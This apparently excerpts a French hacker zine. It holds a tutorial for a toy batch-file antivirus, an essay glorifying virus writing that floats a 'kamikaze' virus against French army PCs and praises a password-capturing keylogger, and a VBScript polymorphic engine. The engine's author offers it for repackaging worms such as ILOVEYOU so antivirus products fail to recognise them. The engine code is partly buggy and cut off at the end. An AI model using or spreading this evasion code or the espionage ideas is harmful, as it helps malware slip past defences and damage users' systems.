echo /----------------------------------------------------\ %anti%
echo / 1:Oui \ %anti%
echo / 2:Non \ %anti%
echo /----------------------------------------------------\ %anti%
echo. %anti%
choice /c:12 %anti%
if errorlevel 2 goto type %anti% (2)
if errorlevel 1 goto destruction %anti%
:echo %anti%
cls %anti%
echo /----------------------------------------------------\ %anti%
echo / \ %anti%
echo / Aucun virus detecte sur votre systeme \ %anti%
echo / \ %anti%
echo /----------------------------------------------------\ %anti%
pause %anti%
goto type %anti%
:destruction %anti%
cls %anti%
echo /-----------------------------------------------------\ %anti%
echo / Please Wait... \ %anti%
echo / \ %anti%
echo / L'outil Antivir 1.0 se charge de \ %anti%
echo / la destruction du virus. \ %anti%
echo / \
echo /-----------------------------------------------------\ %anti%
call Antivir %1 %anti% (3)
pause %anti%
goto type %anti%
:Verifi %anti%
type %1 | find "anti" %anti% (4)
if errorlevel 1 goto nonpro %anti%
:pro %anti%
cls %anti%
echo /------------------------------------------------------\ %anti%
echo / \ %anti%
echo / Votre fichier est désormais protégé contre \ %anti%
echo / toute(s) intrusion(s) virale(s) \ %anti%
echo / \ %anti%
echo /------------------------------------------------------\ %anti%
pause
goto type %anti%
:nonpro %anti%
cls %anti%
echo /-----------------------------------------------------\ %anti%
echo / Vous n'avez pas suivi les instructions donnees \ %anti%
echo / dans le fichier Readme \ %anti%
echo / au chapitre Protection \ %anti%
echo / \ %anti%
echo / Fichier non protégé... \ %anti%
echo /-----------------------------------------------------\ %anti%
pause %anti%
goto type %anti%
:Exit %anti%
goto fin %anti%
:fin %anti%
--------------------------------CUT HERE-----------------------------
Pour une explication plus simple selon moi, j'ai mis des numéros pr annoter et pr éviter qu'on s'y perde! Comme vous l'avez vu, le code n'est pas très long (c ps le ProjetK-OS!), mais dans le même esprit, on pourra faire évoluer la reconnaissance de virus et leurs destructions tout en gardant la structure du prog bien distincte. De nombreuses fonctionnalités pourront être rajoutées: cf Fin de L'Article...
Mais tout d'abord voyons quelques passages d'explications:
(1') Soyez sympa et laissez mon nom à côté du copyright, je me suis bien amusé mais bon, on est pas des lamers... Le but de l'article , c ps qu'un blaireau tombe dessus, le compile en faisant un copier-coller et remplace mon nom par le sien en disant que c lui qui l'a fait!........ (Je ne vise PerSonnE...)
(1) Ici, je vous renvoie à un petit explicatif sur les paramètres pouvant être gérés par la prog Batch;
Ainsi, qd au shell on a :
Anti %1 %2 %3 %4 %5 %6 %7 %8 %9 %0
Tous les %1 à %0 (de 1 à 10) sont de paramètres pouvant être requis par le programme pour un bon fonctionnement. Par exemple, lorsque vous créez un fichier .BAT et qu'il nécessite des paramètres, du genre où copier ceci ou cela, ou encore qu'il touche deux fois de suite à un fichier dont le nom peut changer : il est plus utile de définir un paramètre %1 qui prendra n'importe quelle valeur.
Donc, dans le cas présent:
type %1 | find "%2"
Signifie quelque chose de très simple, la commande type ouvre un fichier spécifié par l'utilisateur, la barre entre les deux signifie que les deux commandes seront faites simultanément, find signifie qu'il doit trouver quelque chose. Donc en gros, cette ligne signifie que l'av ouvre un fichier (quelque soit son nom, c'est un paramètre), et qu'il cherche dans ce fichier l'éventuelle signature d'un virus : %2 est alors une option qui sert à définir le nom de la signature du virus.
(2) Ici, le tableau affichera quelque chose comme ceci:
Car la commande echo permet de faire des sorties écran, et %anti% n'est qu'une signature qui n'est en aucun cas prise en compte par l'interpréteur de commandes DOS.
/----------------------------------------------------\
/ Attention virus détecté sur votre systeme \
/ \
/ Voulez-vous qu'Antivir 1.0 s'occupe de la \
/ destruction par isolement \
/ de la signature du virus precedemment signalee ? \
/ Ceci semble necessaire car votre systeme semble \
/ tres affecte. \
/----------------------------------------------------\
/ 1:Oui \
/ 2:Non \
/----------------------------------------------------\
Un choix s'offre alors à nous, que faire? :)
Pour que nous puissions choisir, la commande choice est indispensable, petite explication:
choice /c:12 ; signifie que nous avons deux choix 1 et 2 donc qu'en appuyant sur la touche 1 ou 2 le choix sera différent.
En ce qui concerne la suite : if errorlevel 2 goto GOO
if errorlevel 1 goto GII
Cela veut dire que si on appui sur 2, il y a un renvoi à la sous routine GOO; et que si on appui sur 1, il y a un autre renvoi à la sous routine GII. En fait errorlevel est une variable et si elle prend la valeur 2 et qu'on lui demande si elle est égale à 1, elle répondra oui, car 2=1+1 donc il faut rentrer ses choix par ordre décroissant, si vous aviez 9 choix, il y aurait après
choice /c:123456789,
if errorlevel 9 goto ...
........................
if errorlevel 1 goto ...
Bon , j'espère que c clair!
(3) Bon là trenquil! Le passage est des plus con: la commande call permet de faire appel à un programme externe sans pour autant devoir fermer celui en exécution. Il y a donc un appel ici à un fichier dénommé Antivir.bat, cependant à titre de remarque je voudrais préciser que le chemin entier du fichier sur votre HD, ou ailleurs devra être spécifié dans le cas où ce fichier ne se trouverait pas dans le même répertoire que le fichier lancé principalement : ici Anti.bat.
Comme précisé précédemment, %1 est un paramètre défini depuis le début de l'exécution de Anti, %1 est donc utile aux deux : Anti et Antivir (==> D'où l'astuce d'utiliser la commande call car le %1 garde sa valeur et peut être exploité sans avoir a être réinitialisé par le second prog lancé).
(4) Si vous êtes pas trop cons, vous aurez remarqué que cette partie est la même que (1) avec une seule modification, à la suite de l'ouverture et de la commande find "anti", se trouve une ligne du type:
if errorlevel 1 goto nonpro
Cette ligne signifie que si après ouverture du fichier, l'ordinateur ne trouve pas la signature %anti%, alors il y a une erreur (il n'y a pas d'erreur si il trouve la signature anti), il y a un renvoi à la routine nonpro - qui signifie non-protégé - qui affiche un message.
=====================
Et maintenant, un passage qui est appelé dans le fichier ci-dessus: Antivir 1.0 (joli nom!!)
--------------------------------CUT HERE-----------------------------
@echo off %anti%
type %1 | find "anti" > prot.bat %anti% (5)
copy prot.bat %1 %anti%
echo /------------------------------------------------------\ %anti%
echo / Please wait ... \ %anti%
echo / \ %anti%
echo / Signature du virus détruite, virus maintenant \ %anti%
echo / inopérant et totalement supprimé \ %anti%
echo / \ %anti%
echo /------------------------------------------------------\ %anti%
--------------------------------CUT HERE-----------------------------
Toujours dans le même esprit:
type %1 | find "anti" > prot.bat
Ceci n'a qu'une nuance en plus de celle vue précédemment: > prot.bat.
Si on résume clairement ce que l'ordinateur va faire lorsqu'il trouvera cette ligne de code, on aura ceci:
1- L'ordi. ouvre (comme à l'accoutumé, comment savoir s'il y a un virus sans voir le contenu d'un fichier?!...) le fichier entré en premier paramètre puis,
2- Il cherche les caractères suivants: "anti",
3- S'il trouve, il se charge de copier toutes les lignes de code qui contiennent ces caractères, dans un fichier qu'il appellera prot.bat.
De ce fait les lignes de codes qui étaient finies par %anti% seront toutes sauvegardées : on obtient donc un fichier final du nom de prot.bat qui ne contient que les lignes de code utiles et non virolées!
4- On aurait pu arrêter le travail en 3- mais on fini en beauté:
copy prot.bat %1
On copie le fichier qui ne contient maintenant que les lignes valides sous le nom du fichier d'origine qui était virolé...
... DU GRAND ART :) ...
Aller, une dernière partie pour le fun et puis après je m'arrête, c Par4noID qui va gueulé, je vais lui prendre 20Ko sur le mag...
=====================
Comme promis,
quelques Fonctionnalités supplémentaires:
° Note sur la présence ou non de fichiers à tester plutôt qu'utiliser le process MSDOS... C ps clair? Comment ça? Bon c vrai que là je me suis exprimé comme un pied, bon en clair mon truc c de faire que qd l'av veut tester un fichier qui n'existe pas - faute de frappe, fichier réellement non-existant, etc - plutôt que d'utiliser le process MsDos qui nous marque: Commande ou nom de fichier incorrect
0 fichier(s) supprimé(s)
On peut nous même, faire un truc qui marquerait un message d'erreur propre à notre anti-virus. Pour ceci, il faudra tester l'existence ou non du fichier qu'il faudra tester, on utilisera la fonction:
If exist %1 goto EXISTE
If not exist %1 goto EXISTEPAS ==> Facultative.
La première ligne fait le test de savoir si %1 (qui est le nom du fichier à tester) existe, si la condition est vérifié, cad si il existe alors va voir à EXISTE.
La deuxième ligne est optionnelle; If not exist réalise l'inverse de if exist donc, si %1 n'existe pas va à EXISTEPAS. On peut l'omettre et faire comme suit:
If exist %1 goto EXISTE
Else goto EXISTEPAS ==> cette ligne rend le code plus clair!
:EXISTEPAS
Echo ce fichier n'existe pas!!!
goto end ==> A ne ps omettre sinon, l'interpréteur ne s'arrête ps avant la fin du prog et il lit tout jusqu'à ce qu'il y ait un renvoi.
:EXISTE
Echo ce fichier existe bien!! ==> Ps besoin ici de placer le goto car l'interpréteur n'a plus qu'à descendre et il y ait!
:end
(Vous pouvez ne rien mettre dans cette routine et votre prog restera plus ou moins en attente, si vous le lancez sous les commandes MsDos W9X alors il marquera : Terminé c:\[nom du fichier]
Voilà, il ne reste plus qu'à l'incorporer au code de l'antivirus, le plus dur est de ne pas le mettre dans un endroit où il ne devrait pas être...Voyons cela:
:Depistage %anti%
If exist %1 goto existe
Else goto existepas
:existepas
echo Votre fichier n'existe pas, impossible de l'analyser.
echo Fichier(s) analysé(s) 0.
goto exit
:existe
echo Vérification de l'existence du fichier...
echo Vérification accomplie : fichier présent...
choice /c:_ Veuillez patienter... /T:_,2 (6)
type %1 | find "%2" %anti%
if errorlevel goto echo %anti%
...
:endexistepas
echo Votre fichier à tester n'existe pas sur votre machine, veuillez echo entrer un nom valide. SVP.
L'"extension" du prog doit se placer ici, réfléchissons, à cet endroit, l'av ouvre le fichier donc il est trop tard pour le faire après, il faut le faire avant qu'il ne l'ouvre: la place est idéale!
(6) Petite explication, ce passage n'a été fait que par simple souci de rendre plus vrai, j'ai placé une temporisation sur la commande choice, ce qui permet de faire attendre que l'ordinateur ait fini de vérifier: cette opération ne dure en fait que quelques fractions de secondes (elle ne rend pas bien...) ainsi, ça fait plus vrai.
° Faire créer un journal de suppressions par l'av ==> Des opérations effectuées seront enregistrées sous un fichier spécial : Si ce fichier disparaît, alors l'av ne fonctionne plus, pour éviter toute fraude même si les Bat sont éditables...
Procédons méthodiquement, pour faire ceci, il faut dans un premier temps que l'av sache les opérations qu'il exécute, il doit créer un fichier et rajouter dans ce fichier les opérations qu'il aura effectué à différents stades de l'avancement de ses activités.
Déjà, pour créer un fichier on peut procéder comme suit:
echo echo Bonjour > c:\text.kil
----|-------------|------------|
(1) (2) (3)
Je pense que tout le monde a compris ms bon:
(1) C la commande msDos proprement dite, écrit ce qu'il y a après.
(2) C ce que (1) va écrire dans un fichier créer ultérieurement.
(3) C le fichier ds lequel les instructions vont être enregistrées.
Dans le cas présent, si l'on veut que le journal soit opérant de façon adéquate, il faut que toutes les manipulations soient enregistrées dans le fichier. Il faut donc qu'à chaque stade de l'avancement des opérations de l'av, il mette ce qu'il fait dans le fichier en question. Voyons cela!
Quelles sont les grandes opérations effectuées par l'av?
1- Le Dépistage,
2- La tentative de destruction,
3- La vérification de protection,
4- Quitter.
En gros, à chacune de ces phases correspond une ligne au moins dans le fichier journal. De plus, certaines opérations possèdent des sous-opérations.
Dépistage:
- Fichier existant ou non;
- Appel d'Antivir = Fichier infecté;
- Non-Appel d Antivir = Fichier non-infecté.
Tentative de destruction:
- Appel d'Antivir.
Verification de protection:
- Fichier protégé;
- Fichier non-protégé.
A cet endroit de l'article, je vous renvoie à la rubrique de fin avec le code de l'antivirus en version de base ainsi qu'avec les différentes fonctionnalités ajoutées au prog. Par souci de place (on comprendra ici de taille exprimée en Ko, taille maxi que j'ai déjà plus que dépassée :)), il y a des renvois aux différentes parties de texte de l'interface utilisateur qui sont données au début avec le code du prog de base! Amusez-vous bien...
° Message d'erreur qd il manque les 2 paramètres ou l'un des deux seulement. En effet, on peut générer un message d'erreur lorsque l'utilisateur omet certains paramètres. Il faut alors user des vieilles commandes: " If errorlevel 1 goto ... "
Voici donc une petite suggestion en ce qui concerne l'implémentation de cette fonctionnalité dans l'anti-virus:
Il faut placer cette partie à l'endroit où l'on fait
appel à %1 et
%2 voici donc,
:Pourc
If "%1"=="" goto error
If "%2"=="" goto error
Cette partie du code doit être placée avant tout opération effectuée par l'ordinateur. Ne pas oublier le renvoi à une étiquette, ici pourc et ne pas oublier de faire finir le programme à la fin de la routine.
:error
cls
echo Utilisation d'Anti25 :
echo.
echo Anti [fichier a tester] [signature du virus a trouver]
echo.
echo Veuillez completer votre ligne de commande par une de ces
echo deux informations, l'une ou les sont manquantes. De ce fait,
echo aucune opération ne peut être opérée sur votre systeme.
Je vous conseille de placer ce code à la fin du prog, juste avant la fin totale du prog, de ce fait vous n'aurez pas à penser à un renvoi éventuel jusqu'à la fin.
=====================
~~~~~~~~~~~
\MEGA CODE/
~~~~~~~~~~~
--------------------------------CUT HERE-----------------------------
@echo off %anti%
cls %anti%
:journal
If not exist c:\mesdoc~1\rtcours\anti25\anti25\journal.txt goto fin2
Else goto pourc
:Pourc
If "%1"=="" goto error
If "%2"=="" goto error
:type %anti%
cls
call c:\mesdoc~1\rtcours\anti25\anti25\antih1.bat
choice /c:1234 %anti%
if errorlevel 4 goto Exit %anti%
if errorlevel 3 goto Verifi %anti%
if errorlevel 2 goto destruction %anti%
if errorlevel 1 goto Depistage %anti%
:Depistage %anti%
If exist %1 goto existe
Else goto existepas
:existepas
echo Votre fichier n'existe pas!
echo ========================== > journal.txt
echo Message d'Anti25: >> journal.txt
echo Le fichier demandé a être verifié >>journal.txt
echo n'existe pas sur la machine; >> journal.txt
echo l'operation d'Anti25 ne pût être menée >>journal.txt
echo à bien par l'anti-virus. >> journal.txt
goto exit
:existe
cls
echo Verification du fichier en cours...
echo.
echo Verification reussie
pause
type %1 | find "%2" %anti%
if errorlevel goto echo %anti%
:MM22 %anti%
cls
call c:\mesdoc~1\rtcours\anti25\anti25\antih2.bat
choice /c:12
if errorlevel 2 goto type %anti%
if errorlevel 1 goto destruction %anti%
:echo %anti%
cls
call c:\mesdoc~1\rtcours\anti25\anti25\antih3.bat
pause
if exist journal.txt goto Journal
Else goto Conti
:Conti
echo ========================== > journal.txt
echo Message d'Anti25: >> journal.txt
echo Votre fichier demandé à être testé >>journal.txt
echo n'est pas infecté, néanmoins, >> journal.txt
echo il serait bon d'effectuer une vérification >>journal.txt
echo de protection de vos >> journal.txt
echo autres fichiers (si cela n'a pas >>journal.txt
echo été déjà fait). >> journal.txt
goto type
:Journal
echo ========================== >> journal.txt
echo Message d'Anti25: >> journal.txt
echo Votre fichier demandé à être testé n'est pas infecté ,néanmoins, >> journal.txt
echo il serait bon d'effectuer une vérification de protection de vos >> journal.txt
echo autres fichiers (si cela n'a pas été déjà fait). >> journal.txt
goto type
:destruction %anti%
cls %anti%
call c:\mesdoc~1\rtcours\anti25\anti25\antih4.bat
call Antivir %1 %anti%
if exist journal.txt goto Journal2
Else goto Conti2
pause
:Conti2
echo ========================== > journal.txt
echo Message d'Anti25: >> journal.txt
echo Votre fichier est infecté, le système de destruction Antivir1.0 >> journal.txt
echo va maintenant se charger de la destruction du virus par son isolement. >> journal.txt
echo Opération parfaitement réussie >> journal.txt
goto type
:Journal2
echo ========================== >> journal.txt
echo Message d'Anti25: >> journal.txt
echo Votre fichier est infecté, le système de destruction Antivir1.0 >> journal.txt
echo va maintenant se charger de la destruction du virus par son isolement. >> journal.txt
echo Opération parfaitement réussie >> journal.txt
goto type
:Verifi %anti%
type %1 | find "anti" %anti%
if errorlevel 1 goto nonpro %anti%
:pro %anti%
cls
call c:\mesdoc~1\rtcours\anti25\anti25\antih5.bat
pause
if exist journal.txt goto Journal3
Else goto Conti3
:Conti3
echo ========================== > journal.txt
echo Message d'Anti25: >> journal.txt
echo Votre fichier est bel et bien protégé, veuillez veiller à ce que ce soit >> journal.txt
echo le cas de tous les autres fichiers présents sur cette machine. >> journal.txt
goto type
:Journal3
echo ========================== >> journal.txt
echo Message d'Anti25: >> journal.txt
echo Votre fichier est bel et bien protégé, veuillez veiller à ce que ce soit >> journal.txt
echo le cas de tous les autres fichiers présents sur cette machine. >> journal.txt
goto type
:nonpro %anti%
call c:\mesdoc~1\rtcours\anti25\anti25\antih6.bat
pause
if exist journal.txt goto Journal4
Else goto Conti4
%anti%
:Conti4
echo ========================== > journal.txt
echo Message d'Anti25: >> journal.txt
echo Votre fichier n'est pas protégé, il doit l'être dans la mesure où >> journal.txt
echo l'antivirus n'est capable de détecter les virus seulement si ceux-ci >> journal.txt
echo possèdent une signature bien distincte de anti. >> journal.txt
goto type
:Journal4
echo ========================== >> journal.txt
echo Message d'Anti25: >> journal.txt
echo Votre fichier n'est pas protégé, il doit l'être dans la mesure où >> journal.txt
echo l'antivirus n'est capable de détecter les virus seulement si ceux-ci >> journal.txt
echo possèdent une signature bien distincte de anti. >> journal.txt
goto type
:Exit %anti%
goto fin %anti%
:error
cls
echo Utilisation d'Anti25 :
echo.
echo Anti [fichier a tester] [signature du virus a trouver]
echo.
echo Veuillez completer votre ligne de commande par une de ces
echo deux informations, l'une ou les sont manquantes. De ce fait,
echo aucune operation ne peut etre operee sur votre systeme.
:fin2
echo Fichier journal non présent sur votre machine, Anti25 refuse alors
echo toute manipulation.
:fin %anti%
--------------------------------CUT HERE-----------------------------
=====================
ANNEXE:
Vous aurez remarqué que non pas que je sois belge mais mes textes sont coupés à cause des marges que je dois respecter sous WordPad, en compilant ou en le refaisant vous-même sous le Bloc-Notes, pas de pbs de ce genre, y pas de marge : veillez qd même à pas trop sortir de l'écran sinon ça n'affichera pas correctement.
Entre autre, pour ne pas compliquer le prog, j'ai fait en sorte qu'il soit utile à chaque fois de vérifier si le fichier est protégé avant d'opérer un dépistage. De ce fait, j'évitais de créer au début du test de dépistage une routine du genre :
:depi2
type %1 | find "anti"
if errorlevel goto ...
avant de faire un dépistage propre. En plus clair, si vous dépistez un fichier qui possède %anti% à chaque fin de ligne, donc un fichier protégé, l'av va quand même détecté un virus dans la mesure où toute signature peut être dangereuse, afin d'éviter des erreurs, mieux vaut toujours effectuer un test de protection du fichier avant de dépister un quelconque virus qu'il renferme: cette p'tite chose peut toutefois être résolue aisément mais si je passe trop de tmps la dessus, après j'en aurais pu pr l'autre article... :( désolé!
=====================
REMARQUE:
Pour tous les adeptes de failles sous les petits jeux Wx, je propose cette fois-ci (après le démineur), une couille de Bow&Arrow, très drôle comme jeu, il consiste à tirer à l'aide d'un arc dans des baloons et autres artifices... Ce p'tit jeux trop malin enregistre les scores sous un fichier nommé: B&arrow.ini, selon cette bonne vieille méthode qu'est l'overboosting des points, je m'empresse d'éditer ce fichier et je remarque des caractères bizarres, j'efface le tout et je rajoute des FFF partout, en prenant bien soin de dépasser la largeur de la fenêtre d'un seul F, du coup, plantage assuré comme à l'accoutumé! Erreur de protection générale dans le module B&ARROW.EXE à 0001:000007fc. Encore un pb d'assembleur, l'état de la pile est plutôt bizarre. Ceci dit encore merci à Microsoft qui prévoit toutes les éventualités: une erreur fatale à cause d'un p'tit jeu de merde (quoiqu'amusant). Si vous voulez en voir encore plus, ouvrez des applications en arrière plan et lancez la faille; vous aurez sûrement le message suivant: Etat Memoire dangereusement bas, veuillez fermez votre session Windows : toutes les données non-enregistrées seront perdues. C beau le progrès, plus on paye les logiciels chers et plus y a des pbs. Bravo MiKROKRO...
SnEaKie
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
L'avenir des virus
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
I) Etat des lieux
==================
Devant le peu d'intérêt que porte le monde underground aux auteurs de virus (ce qui est fort dommageable), j'ai décidé de porter ma réflexion sur le futur des virus. J'ai constaté que la plupart des newbies préfèrent se consacrer au hacking, peut-être parce que c'est plus concret, ça se vit sur l'instant. Pourquoi n'y a-t-il pas plus de personnes qui s'intéressent au virus ? Ce n'est pas plus difficile que le hacking, les bases pour comprendre des virus sont très faciles à acquérir. On reproche souvent à l'assembleur d'être un langage archaïque, aux virus de ne plus avoir leur place dans l'informatique moderne, aux auteurs de virus d'être des gens qui ne cherchent qu'à nuire... Foutaises !!!
Tout d'abord, l'assembleur est de loin le langage le plus puissant pour écrire un programme optimisé à 100%. Tout ce qu'on peut faire avec un macrolangage peut être fait en 10 fois plus court (en taille réelle) avec de l'assembleur. Je suis d'accord pour dire qu'un programme est plus facile à faire en C ou en Pascal et que débugger un programme assembleur, c'est pas de la sous-traitance de manches de casseroles mais au final, un programme assembleur est toujours plus puissant parce qu'il fait exactement ce que l'on veut, ni plus ni moins. C'est encore plus vrai quand il s'agit d'écrire des virus un peu évolué. Et par "évolué", je n'entends pas grand chose, je veux simplement dire qui infecte les exécutables sans les détruire. Ceux qui espèrent encore faire un virus de ce type avec du Pascal en moins de 5 Ko sont dignes d'aller travailler chez Krokro. Je rapelle que le virus K-os présenté dans RTCm4g n°2 a une taille de 299 octets. Donc, pas si archaïque que ça l'assembleur.
Ensuite, les virus ont tout à fait leur place. Il est vraiment primaire de réduire les virus à la bombe. La technologie virale est vraiment bien plus vaste et peut s'avérer très utile, même à des hackers. Un virus est fondamentalement un programme autonome, il ne connait pas la semaine des 35 heures. Les applications sont innombrables :
-espionnage militaire : en sachant que l'armée française possède un réseau à base de Windoze là où même l'armée américaine a opté pour Linux, on peut se poser la question de savoir si un petit virus kamikaze qui s'infiltre sur les PC de l'armée serait possible à réaliser. Je pense personnellement que oui mais je laisse le soin à d'autres de le créer.
-cryptage : KOH est un programme qui crypte le disque dur et les disquettes. Il est écrit en assembleur et a exactement la forme d'un virus (sauf que vous avez le contrôle dessus). Il utilise toutes les techniques virales traditionnelles : écriture sur le boot (disque dur et disquettes), résidant (et tout ce que cela implique)... Je tiens à dire, au passage, que ce virus bénéfique est interdit à l'exportation sous une forme exécutable à partir des Etats Unis (Big Brother veille toujours :-o).
-SE : KBWin95 est un virus résidant (il marche uniquement sous W95) qui capte la moindre frappe sur le clavier (en particulier mots de passe). Voilà un virus qui fait du SE à temps plein, plus besoin d'avoir recours à des artifices plus ou moins douteux et plus ou moins foireux.
II) Futur...
=============
D'où viennent toutes les légendes qui circulent sur les virus ? Allez voir un abruti moyen qui croit s'y connaître en informatique (un responsable du rayon informatique à la FNAC fera très bien l'affaire). Demandez lui des renseignements sur les virus et il vous sortira immanquablement la liste de tous les fantasmes concernant les virus. Les antivirus sont de très bons produits commerciaux parce qu'ils exploitent la peur populaire. A l'origine de tout, l'obscurantisme et la ségrégation qu'ont subit les virus (on fait un petit coucou au passage à nos amis les V). Mais les virus représentent à mon avis l'avenir de l'informatique ou tout du moins un challenge extrêmement important.
Je n'affirme pas cela gratuitement. Il existe un domaine de la science très peu connu qui se nomme la 'vie artificielle' (il n'y a aucun rapport avec l'intelligence artificielle, le premier domaine a été sérieusement étudié depuis bientôt un demi siècle alors que le second n'est qu'une rêverie d'auteurs de science fiction ou n'existe qu'à l'état de projet). La vie artificielle a pour but de recréer une forme de vie qui ne soit pas organique. Pour simuler cette vie, on s'oriente de plus en plus vers les virus informatiques, et plus particulièrement vers les virus dits 'évolutionnistes'. Sous ce grand nom se cachent des virus polymorphes améliorés dont nous donnerons un exemple dans un prochain mag dans le cadre du projet K-os.
Pour moi, c'est là que réside tout l'intérêt des virus. Imaginez qu'un jour, nous arrivions à recréer une forme de vie primitive sur ordinateur; son étude marquerait sans doute une avancée considérable pour toutes les théories darwinienne de l'évolution, nous pourrions comprendre notre propre évolution et peut-être notre évolution future. J'en vois certains qui rigolent, sachez que votre rire est le rire de ceux qui ne savent pas ou qui ne veulent pas savoir. Vous n'arriverez à rien parce que vous êtes comme les personnes contre lesquelles vous luttez : ignorants et contents de l'être. Maintenant, réfléchissez 5 minutes sur ce que la petite Androgyne elle vient de raconter et demandez vous si finalement, elle a pas tout à fait tort...
PS : Ceux qui veulent réagir à cet article peuvent écrire au g4ng RTC (toujours la même adresse RTCgang@yahoo.fr ); ceux qui veulent critiquer sans argumentation, je les connaît déjà, ce n'est pas la peine d'user votre clavier pour envoyer un mail que de toute façon je ne lirai pas... B-)
<Bibliographie> : Je conseille à tous les newbies qui veulent s'y mettre réellement d'investir dans l'excellent livre de Mark Ludwig, _Du virus à l'antivirus_ (ed. DUNOD) qui non seulement explique les principes de bases des virus mais qui donne plusieurs codes expliqués de virus puissants. Ne vous fier pas au titre, on ne parle aucunement d'antivirus dans ce livre sinon des techniques qu'ils utilisent et des manières de les déjouer. J'ai appris les 3/4 de ce que je sais grâce à ce bouquin. Il est maintenant dans un tel état, tout raffistolé de partout... C'est LA référence à avoir, c'est de là que j'ai tiré les exemples de cet article alors n'hésitez pas. Pour ceux qui ne connaissent pas Mark Ludwig, c'est un américain, auteur de virus et qui s'intéresse maintenant au développement de la vie artificielle. Si ce sujet vous intéresse, il a écrit un autre livre plus philosophique appelé _Mutation d'un virus_.
By Androgyne
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Polymorphisme .vbs
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
La dernière tendance est aux worms .vbs (Visual Basic Scripting) et aux autres scripts(.js par exemple) car les utilisateurs s'en méfient moins que les exe ou les com et ils sont plus facile à programmer. On peut trouver ces scripts sur n'importe quelle page web. Certains ordi ne préviendront donc pas au lancement d'un script qui peut être sympa :)
Les antivirus reconnaisent en général la signature d'un virus (son code). Il faut donc utiliser la technique de polymorphisme qui consiste à modifier le code d'un virus sans changer ses fonctions. Par exemple , vous prenez le code de "ILOVEYOU" et vous lui rajoutez un moteur de polymorphisme et les antivirii ne le reconnaitront pas comme le virus "ILOVEYOU".
J'en ai donc construit un assez rudimentaire en vbs. Mais avant d'attaquer le code il faut avoir qqq base en vbs ou alors en Visual Basic X.
Le VBScript ressemble au Visual Basic mais il a de nombreuses commandes en moins, importantes ou pas (comme Iff , Choose, ...).
Les commandes I/O (Input/Output) sont totalement différentes. Elles ont été remplacé en utilisant le programme avec l'objet FileSystemOject (FSO). Le FSO objet est contenu dans la biblothèque de type scripting qui est localisé dans le fichier scrrun.dll dans le dossier system du système d'exploitation utilisé.
En premier, crée un FSO objet en utilisant la métode CreateObject. On le fait en VBScript avec :
Dim fso
Set fso = CreateObject(Scripting.FileSystemObject)
Dans cette exemple, Scripting est le nom de la bibliothèque de type et FileSystemObject est l'objet que tu veux créer.
En deuxième, il faut utilisé la méthode apppropriée de l'objet FileSystemObject.
Par exemple pour créer un nouveau objet, il faut utiliser CreateTextFile. Ce qui donne :
Dim fso
Set fso = CreateObject(Scripting.FileSystemObject)
fso.CreateTextFile "Polymorphisme.vbs"
Par exemple pour lire ou écrire dans un fichier, il faut d'abord l'ouvrir grâce à OpenTextFile (en utilisant comme premier argument le nom du fichier à ouvrir et en deuxième argument le mode d'ouverteur )ou à OpenAsTextStream ( . Ce qui donne:
Dim fso
Const Lecture = 1, Ecriture = 2 , Random = 3
Set fso = CreateObject(Scripting.FileSystemObject)
Set ts = fso.OpenTextFile("Polymorphisme.vbs", Lecture)
ou
Dim fso, f, ts
Const Lecture = 1, Ecriture = 2 , Random = 3
Set fso = CreateObject(Scripting.FileSystemObject)
f = fso.GetFile("Polymorphisme.vbs")
Set ts = f.OpenAsTextStream(Ecriture,0)
Puis on utilise les méthodes Write, WriteLine, ReadLine, Read, ReadAll.
ensuite on ferme les fichiers ouverts avec la proprièté Close.
Bon, maintenant que vous avez les bases, on va voir comment marche mon moteur.
Il crée un fichier de nom aléatoire avec des caractères ASCII compris entre 65 et 90 (c'est à dire les lettres de l'alphabet en majuscules )et de longueur comprise entre 3 et 11 lettres. En gros, il prend ensuite la première ligne de votre virus ou worm et la copie dans le nouveau fichier créé. Il fait la même chose pour la deuxième ligne de votre code mais entre temps il aura rajouté des arguments (c'est à dire des lignes commençant par le caractère ' ) ou des entrées ou des espaces.
Ce type de polymorphisme est assez contraignant car la taille du worm est exponentielle : sa taille sera multipliée par 2 à chaque fois !!!!!!!!!!!!!
Ca marche au moins. Peut-être dans un prochain RTCmag, je ferais un trop bon moteur de polymorphisme. Ba on verra........
Voici mon moteur de polymorphisme. Si vous voulez l'utiliser, n'oubliez pas d'enlever les arguments, les espaces et les entrée en trop et remplacez le contenu de la variable Moi par le nom du fichier où vous mettez mon code.
---------------------------------------------------------------------------
Dim fso, f, ts, MyFile, Nom, Hasard, Moi, DebText, Premier ' Déclare les 'variables
Const Lecture = 1, Ecriture = 2 'declare des constantes pour que le code
'soit plus lisible
Const TristateUseDefault = -2, TristateTrue = -1, TristateFalse = 0
Const vbBinaireComparaison = 0
Moi = "poly.vbs" ' Moi est le nom du fichier où vous mettez mon moteur 'de polymorphisme
Premier = 0
Nom = HOho +".vbs" 'appel la fonction HOho
Randomize
Set fso = CreateObject("Scripting.FileSystemObject")
fso.CreateTextFile Nom 'créer un fichier
Set f = fso.GetFile(Nom)
Set ts = f.OpenAsTextStream(Ecriture,TristateFalse) 'l'ouvre en 'écriture
Set MyFile = fso.OpenTextFile(Moi, lecture) 'ouvre ce fichier en mode 'lecture
'Voici une petite boucle qui est l'essentiel dans mon moteur. La boucle 's'arrète 'quand le programme esr arrivé au bout du fichier de votre virus.
Do
Hasard = Int(Rnd * 3 + 1)
If Hasard = 1 Then DebText = Enter
If Hasard = 2 Then DebText = Code
If Hasard = 3 Then DebText = Argument
If Hasard = 4 Then DebText = SpaceFunc(20, 40)
ts.writeline DebText
If MyFile.AtEndOfStream = true then Exit do
Loop
ts.Close
MyFile.Close
Function Code()
dim Verif
Code = MyFile.ReadLine
Verif = instr(code, " Moi = ")
if Verif > 0 and Premier = 0 then Code = " Moi = " + """" + Nom + """" : Premier = 1
End Function
'Cette permet de créer une chaîne de caractère ASCII compris entre 14 et '255 ( et 'ouais car avant 13 les caractères comme [entrée], [tab] font planter le script vbs 'meme s'ils sont dans des arguments) de longueur 'comprise entre NbMin et NbMax.
Function Chaine_Aleatoire(NbMin, NbMax)
Dim z, i
Randomize
z = Int(Rnd * (NbMax - NbMin) + NbMin)
For i = 0 To z
Chaine_Aleatoire = Chr(14 + Int(Rnd * 241)) + Chaine_Aleatoire
Next
End Function
